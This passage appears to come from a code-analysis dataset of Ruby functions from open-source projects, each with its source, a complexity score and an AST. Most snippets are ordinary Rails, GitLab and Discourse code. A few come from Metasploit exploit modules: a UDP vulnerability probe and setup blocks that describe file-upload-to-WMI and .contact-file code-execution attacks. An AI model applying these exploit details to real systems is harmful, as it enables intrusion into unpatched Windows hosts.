end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[677]},{\"type\":\"int\",\"children\":[972]},{\"type\":\"int\",\"children\":[2572]},{\"type\":\"int\",\"children\":[3240]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4004]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"length\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect_udp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"timed_read\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"timed_read\",{\"type\":\"int\",\"children\":[8]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]},\"==\",{\"type\":\"int\",\"children\":[677]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]}]}]}","id":"f45536d7-91e9-4472-8bc7-edcc5e5dfca8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1926,"raw_source":"def remove_column_for_alter(table_name, column_name, type = nil, **options)\n          \"DROP COLUMN #{quote_column_name(column_name)}\"\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_column_for_alter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP COLUMN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}]}","id":"dd0cbc72-c6b5-46c9-8527-ef189590a836"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/sub_menus/create_new_menu.rb","start_line":43,"raw_source":"def go_to_invite_members\n            within_new_item_menu do\n              click_element(:create_menu_item, create_menu_item: 'invite')\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"go_to_invite_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_new_item_menu\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"sym\",\"children\":[\"create_menu_item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_menu_item\"]},{\"type\":\"str\",\"children\":[\"invite\"]}]}]}]}]}]}","id":"a81515d6-7e3e-48d0-9a8c-1577f680923b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/miniweb_upload_wbem.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"MiniWeb (Build 300) Arbitrary File Upload\",\n        'Description' => %q{\n          This module exploits a vulnerability in MiniWeb HTTP server (build 300).\n          The software contains a file upload vulnerability that allows an\n          unauthenticated remote attacker to write arbitrary files to the file system.\n\n          Code execution can be achieved by first uploading the payload to the remote\n          machine as an exe file, and then upload another mof file, which enables\n          WMI (Management Instrumentation service) to execute the uploaded payload.\n          Please note that this module currently only works for Windows before Vista.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'AkaStep', # Initial discovery\n          'bcoles', # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2013-10047'],\n          ['OSVDB', '92198'],\n          ['OSVDB', '92200'],\n          ['PACKETSTORM', '121168']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # Tested on MiniWeb build 300, built on Feb 28 2013\n          # - Windows XP SP3 (EN)\n          ['MiniWeb build 300 on Windows (Before Vista)', {}]\n        ],\n        'Privileged' => true,\n        'DisclosureDate' => '2013-04-09',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(8000),\n      OptInt.new('DEPTH', [true, 'Traversal depth', 10])\n    ])\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MiniWeb (Build 300) Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in MiniWeb HTTP server (build 300).\\n\"]},{\"type\":\"str\",\"children\":[\"          The software contains a file upload vulnerability that allows an\\n\"]},{\"type\":\"str\",\"children\":[\"          unauthenticated remote attacker to write arbitrary files to the file system.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Code execution can be achieved by first uploading the payload to the remote\\n\"]},{\"type\":\"str\",\"children\":[\"          machine as an exe file, and then upload another mof file, which enables\\n\"]},{\"type\":\"str\",\"children\":[\"          WMI (Management Instrumentation service) to execute the uploaded payload.\\n\"]},{\"type\":\"str\",\"children\":[\"          Please note that this module currently only works for Windows before Vista.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AkaStep\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-10047\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"92198\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"92200\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"121168\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MiniWeb build 300 on Windows (Before Vista)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-04-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Traversal depth\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}","id":"d47f9114-8ed9-4101-9d3a-e1d9908353bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/targets/files.rb","start_line":142,"raw_source":"def tar_ignore_non_success?(exitstatus, output)\n        # tar can exit with nonzero code:\n        #  1 - if some files changed (i.e. a CI job is currently writes to log)\n        #  2 - if it cannot create `.` directory (see issue https://gitlab.com/gitlab-org/gitlab/-/issues/22442)\n        #  http://www.gnu.org/software/tar/manual/html_section/tar_19.html#Synopsis\n        #  so check tar status 1 or stderr output against some non-critical warnings\n        if exitstatus == 1\n          $stdout.puts \"Ignoring tar exit status 1 'Some files differ': #{output}\"\n          return true\n        end\n\n        # allow tar to fail with other non-success status if output contain non-critical warning\n        if noncritical_warning?(output)\n          $stdout.puts(\n            \"Ignoring non-success exit status #{exitstatus} due to output of non-critical warning(s): #{output}\")\n          return true\n        end\n\n        false\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"tar_ignore_non_success?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exitstatus\"]},{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exitstatus\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Ignoring tar exit status 1 'Some files differ': \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noncritical_warning?\",{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Ignoring non-success exit status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exitstatus\"]}]},{\"type\":\"str\",\"children\":[\" due to output of non-critical warning(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"585b3fa9-a15a-4693-84b0-c250069ad769"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":204,"raw_source":"def self.min_post_id_no_cache\n    return 0 unless SiteSetting.search_prefer_recent_posts?\n\n    offset, has_more =\n      Post\n        .unscoped\n        .order(\"id desc\")\n        .offset(SiteSetting.search_recent_posts_size - 1)\n        .limit(2)\n        .pluck(:id)\n\n    has_more ? offset : 0\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"min_post_id_no_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"search_prefer_recent_posts?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\"]},{\"type\":\"lvasgn\",\"children\":[\"has_more\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"unscoped\"]},\"order\",{\"type\":\"str\",\"children\":[\"id desc\"]}]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"search_recent_posts_size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"limit\",{\"type\":\"int\",\"children\":[2]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_more\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"413eada5-33c6-43cd-8334-bbe990f433c6"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":574,"raw_source":"def close_watcher_handles\n      @tails.keys.each do |path|\n        tw = @tails.delete(path)\n        if tw\n          tw.close\n        end\n      end\n      @tails_rotate_wait.keys.each do |tw|\n        tw.close\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"close_watcher_handles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tw\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"close\"]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails_rotate_wait\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tw\"]},\"close\"]}]}]}]}","id":"d1a26ae8-a0da-4901-9192-57e89aad109a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/badges/award_contributor_from_github.rb","start_line":51,"raw_source":"def award_multi_commit_contributors(repo)\n      contributors = Github::OauthClient.new.contributors(repo)\n      authors_uids = contributors.map(&:id)\n\n      Identity.github.where(uid: authors_uids).find_each do |identity|\n        user_contribution = contributors.detect { |contributor| contributor.id.to_s == identity.uid }\n        next if user_contribution.nil?\n\n        create_badges_for_user(identity.user_id, user_contribution.contributions)\n      end\n    end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"award_multi_commit_contributors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contributors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Github\"]},\"OauthClient\"]},\"new\"]},\"contributors\",{\"type\":\"lvar\",\"children\":[\"repo\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"authors_uids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contributors\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Identity\"]},\"github\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"lvar\",\"children\":[\"authors_uids\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_contribution\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contributors\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contributor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contributor\"]},\"id\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"uid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_contribution\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"create_badges_for_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_contribution\"]},\"contributions\"]}]}]}]}]}]}","id":"c088c3d1-daf3-48e0-a456-72bdbb3cff42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_detected_at_from_created_at_column.rb","start_line":9,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          sub_batch.where(detected_at: nil).update_all('detected_at = created_at')\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"detected_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"detected_at = created_at\"]}]}]}]}","id":"a035ed7d-85c5-480b-a021-603d7c63528c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":567,"raw_source":"def category\n      @category ||= if Spree.use_translations?\n                      taxons.joins(:taxonomy).\n                        join_translation_table(Taxonomy).\n                        order(depth: :desc).\n                        find_by(Taxonomy.translation_table_alias => { name: Spree.t(:taxonomy_categories_name) })\n                    else\n                      if taxons.loaded?\n                        taxons.find { |taxon| taxon.taxonomy.name == Spree.t(:taxonomy_categories_name) }\n                      else\n                        taxons.joins(:taxonomy).order(depth: :desc).find_by(Taxonomy.table_name => { name: Spree.t(:taxonomy_categories_name) })\n                      end\n                    end\n    end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@category\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"use_translations?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxons\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"taxonomy\"]}]},\"join_translation_table\",{\"type\":\"const\",\"children\":[null,\"Taxonomy\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"depth\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Taxonomy\"]},\"translation_table_alias\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"taxonomy_categories_name\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxons\"]},\"loaded?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxons\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taxon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxon\"]},\"taxonomy\"]},\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"taxonomy_categories_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxons\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"taxonomy\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"depth\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Taxonomy\"]},\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"taxonomy_categories_name\"]}]}]}]}]}]}]}]}]}]}]}","id":"9e42b790-5875-4cf6-9bb6-5a858fa245b3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/microsoft_windows_contact.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Microsoft Windows Contact File Format Arbitary Code Execution',\n        'Description' => %q{\n          This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n          User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n          executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n          Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n          Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n          The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n          This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.\n        },\n        'Author' => [\n          'John Page (aka hyp3rlinx)', # Vuln discovery\n          'Brenner Little' # MSF module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['EDB', '46188'],\n          ['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],\n          ['ZDI', '19-013']\n        ],\n        'DisclosureDate' => '2019-01-17', # According to https://www.exploit-db.com/exploits/46188\n        'Privileged' => false,\n        'Platform' => 'win',\n        'Payload' => {\n          'DisableNops' => true\n        },\n        'DefaultOptions' => {\n          'DisablePayloadHandler' => true\n        },\n        'Targets' => [['Windows', {}]],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),\n        OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft Windows Contact File Format Arbitary Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\\n\"]},{\"type\":\"str\",\"children\":[\"          User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \\\".contact\\\" files <c:Url> node param which takes an expected website value, however if an attacker references an\\n\"]},{\"type\":\"str\",\"children\":[\"          executable file it will run that instead without warning instead of performing expected web navigation. This is 